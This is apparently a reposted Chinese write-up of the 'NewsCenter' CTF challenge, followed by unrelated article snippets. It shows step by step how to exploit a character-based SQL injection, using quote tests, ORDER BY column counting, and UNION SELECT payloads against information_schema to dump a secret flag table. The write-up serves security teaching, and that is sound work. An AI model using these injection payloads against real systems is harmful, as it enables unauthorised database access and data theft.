攻防世界-NewsCenter

题目信息

在这里插入图片描述

分析过程

题目打开是有个输入框可以用来输入搜索信息,初步判断是个sql注入的题目。接下来判断能否进行sql注入:
输入 hi,有搜索结果,如下图:
在这里插入图片描述输入hi’,无结果,如下图:
在这里插入图片描述初步判定是hi‘后面还有单引号,导致重复输入导致的,(单引号与服务端代码中的’形成闭合,将我们输入的字符串hello包裹,服务端代码后面多出来一个‘导致语法错误,而加入#将后面的’注释掉之后不会报错,可确定为字符型SQL注入。)为了证明判断结果,输入hi’#(意思#后面的内容都要呗注释掉),结果如下图:
在这里插入图片描述证明确实存在sql注入的问题,解题思路为朝着sql注入的方向努力。

解题过程

  1. 判断字段的个数:使用order by 确定。原理:order by根据前面查询内容的属性对查询数据进行分类,order by 后面的内容可以少于前面查询的属性数,但是不能多于查询的属性数
    hi’ order by 1#:
    在这里插入图片描述hi’ order by 2#
    在这里插入图片描述hi’ order by 3#
    在这里插入图片描述hi’ order by 4#

在这里插入图片描述证明是三个字段。
2. 使用union联合表法注入。
输入hi’ union select 1,2,3#:
在这里插入图片描述只有2,3列回显,ps:
输入:

hi' union select 1,#
hi' union select 1,2#
hi' union select 2,3#

都无法正常回显。

  1. 使用
hi' union select 1,database(),version()#

查询数据库版本和名称

在这里插入图片描述可以看到数据库名称是news,数据库版本是5.5.61。版本是5.0版本以上,我们可以通过系统的数据库来获取很多想要的信息。
其中,database()的位置可以是任意的:(只要不是1就行,因为1不回显)
在这里插入图片描述
4.获取表名

结果如下:
在这里插入图片描述

或者

hi' union select 1,2,table_name from information_schema.tables where table_schema='news'#

结果如下:
在这里插入图片描述得到表名news、secret_table
5. 获取字段名:

hi' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #

结果如下:
在这里插入图片描述得到字段名id、fl4g;需要获得fl4g的字段内容
6. 获得fl4g的字段内容,输入:

hi' union select 1,id,fl4g from news.secret_table #

获得flag:
在这里插入图片描述

相关知识

  1. 5.0以上的版本自带information_schema数据库,这数据库下面又有schemata、tables、columns,这些表中又有(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)字段。
    在这里插入图片描述2. 使用或者不使用group_concat都可以,相关用法如下:https://www.jb51.net/article/2844934ju.htm
    3.总结:
    查表:hi’ union select 回显字段1,回显字段2,group_concat(table_name) from information_schema.tables where table_schema=‘news’,在三个回显字段中选一个就行。
    查列:hi’ union select 回显字段1,回显字段2,group_concat(column_name) from information_schema.columns where table_schema=‘news’ #看表中有哪些列,也就是表含有哪些信息。
    查字段:hi’ union select 回显字段1,回显字段2,fl4g from secret_table#,就是把表中的列里的具体数字搞出来。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/7360.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MongoDB聚合运算符:$toHashedIndexKey

MongoDB聚合运算符:$toHashedIndexKey 文章目录 MongoDB聚合运算符:$toHashedIndexKey语法举例角度的双曲正切 $toHashedIndexKey计算并返回输入表达式的哈希值,其使用的哈希函数与MongoDB创建哈希索引相同。哈希函数将键值或字符串映射到固定…

设计模式(2)创造型设计模式

创建型模式 创建型模式1.工厂模式1.1 抽象工厂模式(Abstract factory)1.2 工厂方法模式(Factory Method)1.3 简单工厂模式(Simple Factory) 2. 建造者模式(Builder)3. 原型模式&…

PHP介绍

🐌博主主页:🐌​倔强的大蜗牛🐌​ 📚专栏分类:PHP❤️感谢大家点赞👍收藏⭐评论✍️ 目录 一、PHP是什么? 二、 PHP 文件是什么? 三、PHP能做什么? 四、P…

[Android]四大组件简介

在 Android 开发中,“四大组件”(Four Major Components)是指构成 Android 应用程序的四种核心组件,它们通过各自的方式与系统交互,实现应用的多样功能。这些组件是:Activity、Service、Broadcast Receiver…

音响的无源辐射器

定义: 无源辐射器通常被用来调整低音,使得设计者能够调节音箱整体的音色。无源辐射器在音箱内主动单元对箱体内空气的带动下进行被动发声。 通常使用无源辐射器来代替倒相管都是用以调节较小箱体的音质和使其具有更好的低音表现。尤其是在一些情况下&a…

6个月小猫成长必备!福派斯无麸质幼猫粮评测

你知道吗?给小猫选择适合的猫粮是一件非常不容易但很重要的事情。那么,对于6个月大的小猫来说,什么样的猫粮是最适合它们的呢?🐱 我们首先要考虑的是猫粮的营养成分。6个月大的小猫正处于快速生长期,所以需…

远程连接是什么?

远程连接是指通过网络连接两个或多个设备,实现远程访问、控制或传输数据的技术。它在现代科技发展中起到了重要作用,使得我们可以随时随地与远程设备进行交互、管理和操作。 天联组网是一种高效的远程连接解决方案,它因为操作简单、跨平台应用…

07_Z Garbage Collector (ZGC)

Z垃圾收集器(ZGC)是一种可扩展的低延迟垃圾收集器。ZGC可以在不超过一毫秒的情况下并发执行所有昂贵的工作,而不会停止应用程序线程的执行。它适用于需要低延迟的应用程序。暂停时间与正在使用的堆大小无关。ZGC适用于从几百兆字节到16TB的堆…

git使用注意事项事项

以下操作均在gitee平台上实现 文章目录 1、本地仓库和远程仓库有冲突2、git提交自动忽略某些文件3、git无法push提交到远程仓库 1、本地仓库和远程仓库有冲突 在web端修改了文件内容或者删除了文件,本地仓库需要重新把远程仓库拉取到本地,或者强制提交到…

关于面试真题的压迫

1.请描述一下您在使用JavaScript进行DOM操作时,如何提高页面性能和用户体验? 使用事件委托:在父元素上监听事件,而不是为每个子元素都添加事件监听器。这样可以减少事件处理程序的数量,提高性能。 缓存DOM查询&#x…

Prometheus 2: 一个专门评估其他语言模型的开源语言模型(续集)

普罗米修斯的续集来了。 专有的语言模型如 GPT-4 经常被用来评估来自各种语言模型的回应品质。然而,透明度、可控制性和可负担性等考虑强烈促使开发专门用于评估的开源语言模型。另一方面,现有的开源评估语言模型表现出关键的缺点:1) 它们给出的分数与人类给出的分数存在显著差…

图像处理-图像平滑

图像平滑 前言一、概念介绍1.1 图像的平滑1.2 图像中噪声的分类1.3 MATLAB的添加噪音代码 二、空间域平滑滤波2.1 均值滤波2.2 原理计算 总结 前言 在图像的获取、传输和存储过程常常收到各种噪声的干扰和影响,使得图像的质量下降,为了获得高质量的数字…

读天才与算法:人脑与AI的数学思维笔记20_数学图灵测试

1. 数学图灵测试 1.1. 能不能将这种计算机证明语言翻译成易于与人交流的方式呢? 1.1.1. 剑桥大学的两位数学家蒂莫西高尔斯(Timothy Gowers)和莫汉加内萨林加姆(Mohan Ganesalingam)开展了此项研究 1.1.1.1. 他们决…

与Apolo共创生态: Apollo X企业自动驾驶解决方案的亮点

文章目录 前言技术革新的里程碑Apollo X企业自动驾驶解决方案的亮点Application X企业预制套件的多场景覆盖Studio X企业协同工具链的全周期支持第一阶段:上机系统构建第二阶段:POC搭建第三阶段:规模运营小结 共创生态,共享未来共…

catchtap 和 bindtap区别

做项目遇见的问题: 当你点击按钮触发事件后,当前用户和目标用户ID相同时,直接return,但是renturn时如何保证: 整个界面的触发函数是toDetailsTap,点我私聊按钮的触发函数是handleChat,如何保证…

Mysql数据在磁盘上的存储结构

一. 前言 一行数据的存储格式大致如下所示: 变长字段的长度列表,null值列表,数据头,column01的值,column02的值,column0n的值… 二. 变长字段 在MySQL里有一些字段的长度是变长的,是不固定的,…

Linux loadkeys命令教程:键盘布局的加载和修改(附实例详解和注意事项)

Linux loadkeys命令介绍 loadkeys命令是用于加载或修改键盘布局的。它通常在系统启动时被调用,用于加载适当的键盘布局。此命令非常有用,尤其是在需要切换不同键盘布局的情况下。 Linux loadkeys命令适用的Linux版本 loadkeys命令在大多数Linux发行版…

ContEA阅读笔记

Facing Changes: Continual Entity Alignment for Growing Knowledge Graphs 面对变化:不断增长的知识图谱的持续实体对齐 Abstract 实体对齐是知识图谱(KG)集成中一项基本且重要的技术。多年来,实体对齐的研究一直基于知识图谱是静态的假设&#xff…

人工智能的发展将如何重塑网络安全

微信搜索关注公众号网络研究观,获取更多信息。 人们很容易认为人工智能 (AI) 真正出现是在 2019 年,当时 OpenAI 推出了 ChatGPT 的前身 GPT-2。 但现实却有些不同。人工智能的基础可以追溯到 1950 年,当时数学家艾伦图灵发表了题为“计算机…

【DevOps】探索 Linux 的世界:文件系统和基本命令

目录 一、Linux文件系统 1、核心概念: 2、 文件系统类型 3、目录结构 4、权限与所有权 5、 符号链接与硬链接 二、文件系统相关linux命令 1、 ls 2、 cd 3、 pwd 4.、mkdir 5、rmdir 6、rm 7、mv 8、cp 9、 mount 10、 umount 一、Linux文件系统 …